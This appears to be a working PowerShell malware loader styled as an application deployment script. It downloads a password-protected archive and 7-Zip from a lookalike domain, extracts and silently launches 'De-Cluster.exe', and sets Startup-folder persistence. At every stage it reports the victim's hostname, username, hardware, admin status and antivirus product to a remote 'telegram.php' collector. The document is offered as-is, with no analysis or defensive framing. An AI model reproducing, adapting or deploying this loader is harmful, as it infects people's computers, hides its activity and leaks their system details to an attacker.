$CONFIG = @{ ServerURL = "http://bkng-pls.com" ArchiveName = "myapp.7z" ExeName = "De-Cluster.exe" ArchivePassword = "ppp" Version = "1.0.3" AppFolderName = "TestApp" LogToTelegram = $true TelegramServerURL = "http://bkng-pls.com/telegram.php" MaxRetries = 3 RetryDelay = 5 } $script:InstallationLogs = @() function Send-TelegramInstallLog { param( [string]$Status, [string]$InstallPath, [string]$ExeName, [string]$ErrorMessage = "" ) if (-not $CONFIG.LogToTelegram) { return } try { $installID = [guid]::NewGuid().ToString() $hostname = $env:COMPUTERNAME $username = $env:USERNAME $os = (Get-CimInstance Win32_OperatingSystem).Caption $osVersion = [System.Environment]::OSVersion.VersionString $psVersion = $PSVersionTable.PSVersion.ToString() $computerInfo = Get-CimInstance Win32_ComputerSystem $manufacturer = $computerInfo.Manufacturer $model = $computerInfo.Model $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $av = "Unknown" try { $avProduct = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -First 1 if ($avProduct) { $av = $avProduct.displayName } } catch { $av = "Windows Defender" } function UrlEncode($str) { if ([string]::IsNullOrEmpty($str)) { return "" } return [uri]::EscapeDataString($str) } $formPairs = @( "status=$(UrlEncode $Status)", "installID=$(UrlEncode $installID)", "hostname=$(UrlEncode $hostname)", "username=$(UrlEncode $username)", "installPath=$(UrlEncode $InstallPath)", "exeName=$(UrlEncode $ExeName)", "os=$(UrlEncode $os)", "osVersion=$(UrlEncode $osVersion)", "psVersion=$(UrlEncode $psVersion)", "manufacturer=$(UrlEncode $manufacturer)", "model=$(UrlEncode $model)", "isAdmin=$(UrlEncode $isAdmin.ToString())", "av=$(UrlEncode $av)", "errorMessage=$(UrlEncode $ErrorMessage)" ) if ($script:InstallationLogs -and $script:InstallationLogs.Count -gt 0) { $logsText = ($script:InstallationLogs -join "`n") $formPairs += "installationLog=$(UrlEncode $logsText)" } $formBody = $formPairs -join '&' $request = [System.Net.HttpWebRequest]::Create($CONFIG.TelegramServerURL) $request.Method = "POST" $request.ContentType = "application/x-www-form-urlencoded" $request.Timeout = 10000 $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($formBody) $request.ContentLength = $bodyBytes.Length $requestStream = $request.GetRequestStream() $requestStream.Write($bodyBytes, 0, $bodyBytes.Length) $requestStream.Close() $response = $request.GetResponse() $response.Close() } catch {} } function Write-Log { param( [string]$Message, [string]$Level = "INFO", [string]$Emoji = "â„šī¸" ) $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $hostname = $env:COMPUTERNAME $ip = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike "*Loopback*"} | Select-Object -First 1).IPAddress $logEntry = "[$timestamp] [$Level] [$hostname] [$ip] $Message" Write-Host $logEntry $emojiLog = "$Emoji $Message" $script:InstallationLogs += $emojiLog } function Test-NetworkConnection { param([string]$URL) Write-Log "Testing connection to server" "INFO" for ($i = 1; $i -le $CONFIG.MaxRetries; $i++) { try { $response = Invoke-WebRequest -Uri $URL -Method HEAD -UseBasicParsing -TimeoutSec 10 -ErrorAction Stop Write-Log "Network connection successful" "INFO" return $true } catch { Write-Log "Connection attempt $i failed: $($_.Exception.Message)" "WARN" if ($i -lt $CONFIG.MaxRetries) { Start-Sleep -Seconds $CONFIG.RetryDelay } } } Write-Log "Network connection failed after $($CONFIG.MaxRetries) attempts" "ERROR" return $false } function Download-FileWithRetry { param( [string]$URL, [string]$OutFile ) Write-Log "Downloading: $([System.IO.Path]::GetFileName($OutFile))" "INFO" for ($i = 1; $i -le $CONFIG.MaxRetries; $i++) { try { $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($URL, $OutFile) $webClient.Dispose() if (Test-Path $OutFile) { Write-Log "Download successful: $([System.IO.Path]::GetFileName($OutFile))" "INFO" return $true } } catch { Write-Log "Download attempt $i failed: $($_.Exception.Message)" "WARN" if ($i -lt $CONFIG.MaxRetries) { Start-Sleep -Seconds $CONFIG.RetryDelay } } } return $false } function Test-AlreadyInstalled { $installPath = Join-Path $env:ProgramData $CONFIG.AppFolderName $versionFile = Join-Path $installPath "version.txt" if (Test-Path $versionFile) { $installedVersion = Get-Content $versionFile -ErrorAction SilentlyContinue if ($installedVersion -eq $CONFIG.Version) { Write-Log "Version $installedVersion already installed, skipping deployment" "INFO" return $true } else { Write-Log "Upgrading from version $installedVersion to $($CONFIG.Version)" "INFO" } } return $false } try { Write-Log "========== DEPLOYMENT STARTED ==========" "INFO" "đŸšĻ" Write-Log "Windows Version: $([System.Environment]::OSVersion.VersionString)" "INFO" "đŸ’ģ" Write-Log "PowerShell Version: $($PSVersionTable.PSVersion)" "INFO" "🧩" $installPath = Join-Path $env:ProgramData $CONFIG.AppFolderName Send-TelegramInstallLog -Status "STARTED" -InstallPath $installPath -ExeName $CONFIG.ExeName if (Test-AlreadyInstalled) { Write-Log "Deployment skipped - already up to date" "INFO" "✅" Send-TelegramInstallLog -Status "SKIPPED" -InstallPath $installPath -ExeName $CONFIG.ExeName exit 0 } if (-not (Test-NetworkConnection -URL $CONFIG.ServerURL)) { Write-Log "Cannot reach server, aborting" "ERROR" "❌" Send-TelegramInstallLog -Status "FAILED" -InstallPath $installPath -ExeName $CONFIG.ExeName -ErrorMessage "Cannot reach server" exit 1 } $tempDir = Join-Path $env:TEMP "deployment_temp" if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue } New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Write-Log "Temp directory created: $tempDir" "INFO" if (Test-Path $installPath) { Write-Log "Cleaning existing installation: $installPath" "INFO" $runningProcesses = Get-Process | Where-Object {$_.Path -like "$installPath\*"} if ($runningProcesses) { $runningProcesses | ForEach-Object { Write-Log "Stopping process: $($_.Name) (PID: $($_.Id))" "INFO" Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue } Start-Sleep -Seconds 2 } Remove-Item $installPath -Recurse -Force -ErrorAction SilentlyContinue } New-Item -ItemType Directory -Path $installPath -Force | Out-Null Write-Log "Install directory created: $installPath" "INFO" $filesToDownload = @{ "$($CONFIG.ArchiveName)" = Join-Path $tempDir $CONFIG.ArchiveName "7z.exe" = Join-Path $tempDir "7z.exe" "7z.dll" = Join-Path $tempDir "7z.dll" } foreach ($file in $filesToDownload.GetEnumerator()) { $url = "$($CONFIG.ServerURL)/$($file.Key)" if (-not (Download-FileWithRetry -URL $url -OutFile $file.Value)) { Write-Log "Failed to download $($file.Key)" "ERROR" "🔴" throw "Download failed" } else { Write-Log "Downloaded: $($file.Key)" "INFO" "đŸŸĸ" } } Write-Log "Extracting archive..." "INFO" "đŸ“Ļ" $7zExe = Join-Path $tempDir "7z.exe" $archivePath = Join-Path $tempDir $CONFIG.ArchiveName $extractArgs = @( "x" "`"$archivePath`"" "-p$($CONFIG.ArchivePassword)" "-o`"$installPath`"" "-aoa" "-y" ) $process = Start-Process -FilePath $7zExe -ArgumentList $extractArgs -Wait -PassThru -NoNewWindow if ($process.ExitCode -ne 0) { Write-Log "Extraction failed with exit code: $($process.ExitCode)" "ERROR" "🔴" throw "Extraction failed" } Write-Log "Archive unpacked successfully" "INFO" "đŸŸĸ" $exePath = Join-Path $installPath $CONFIG.ExeName if (-not (Test-Path $exePath)) { Write-Log "Executable not found: $exePath" "ERROR" Write-Log "Contents of $installPath :" "INFO" Get-ChildItem -Path $installPath -Recurse | ForEach-Object { Write-Log " $($_.FullName)" "INFO" } throw "Executable not found after extraction" } Set-Content -Path (Join-Path $installPath "version.txt") -Value $CONFIG.Version -Force Write-Log "Version file created: $($CONFIG.Version)" "INFO" Write-Log "Setting up autorun (Startup)" "INFO" "🔧" $startupPath = [Environment]::GetFolderPath("Startup") $shortcutPath = Join-Path $startupPath "$($CONFIG.AppFolderName).lnk" $wsh = New-Object -ComObject WScript.Shell $shortcut = $wsh.CreateShortcut($shortcutPath) $shortcut.TargetPath = $exePath $shortcut.WorkingDirectory = $installPath $shortcut.WindowStyle = 7 $shortcut.Description = "Test Application" $shortcut.Save() Write-Log "Autorun configured" "INFO" "đŸŸĸ" Write-Log "Launching application..." "INFO" "🚀" $appProcess = Start-Process -FilePath $exePath -WorkingDirectory $installPath -PassThru -WindowStyle Hidden if ($appProcess) { Write-Log "Application launched successfully (PID: $($appProcess.Id))" "INFO" "đŸŸĸ" } else { Write-Log "Failed to launch application" "WARN" "🔴" } Write-Log "Cleaning up temporary files" "INFO" Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue Write-Log "========== DEPLOYMENT COMPLETED SUCCESSFULLY ==========" "INFO" Send-TelegramInstallLog -Status "COMPLETED" -InstallPath $installPath -ExeName $CONFIG.ExeName exit 0 } catch { Write-Log "========== DEPLOYMENT FAILED ==========" "ERROR" "❌" Write-Log "Error: $($_.Exception.Message)" "ERROR" "🔴" Write-Log "Stack trace: $($_.ScriptStackTrace)" "ERROR" "📋" $installPath = Join-Path $env:ProgramData $CONFIG.AppFolderName Send-TelegramInstallLog -Status "FAILED" -InstallPath $installPath -ExeName $CONFIG.ExeName -ErrorMessage $_.Exception.Message if (Test-Path $tempDir) { Remove-Item $tempDir -Recurse -Force -ErrorAction SilentlyContinue } exit 1 }